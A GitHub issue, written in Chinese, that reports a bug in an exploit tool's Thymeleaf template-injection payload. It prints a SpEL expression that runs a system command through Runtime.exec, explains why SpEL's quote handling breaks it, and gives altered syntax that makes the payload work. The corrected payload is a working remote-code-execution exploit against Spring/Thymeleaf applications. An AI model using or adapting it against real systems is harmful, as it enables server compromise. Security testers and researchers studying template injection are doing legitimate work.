Skip to content

ThymeleafExec输出的Payload有误 #45

@se1zer

Description

@se1zer

ThymeleafExec输出的payload内容如下:

Image
__*{ ''.getClass().forName('org.springframework.expression.spel.standard.SpelExpressionParser').newInstance().parseExpression("''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')").getValue()}__::.x

在SpelExpressionParser中再次通过''.getClass()获取 Class 对象会报错
原因:SpelExpressionParser解析字符串时使用StringLiteral对象,初始化时会取出中间字符串将''替换为 ',导致最终的payload变为'.getClass()从而抛出异常

Image使用 '''.getClass()可成功,或使用().getClass()1.getClass()等方式

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions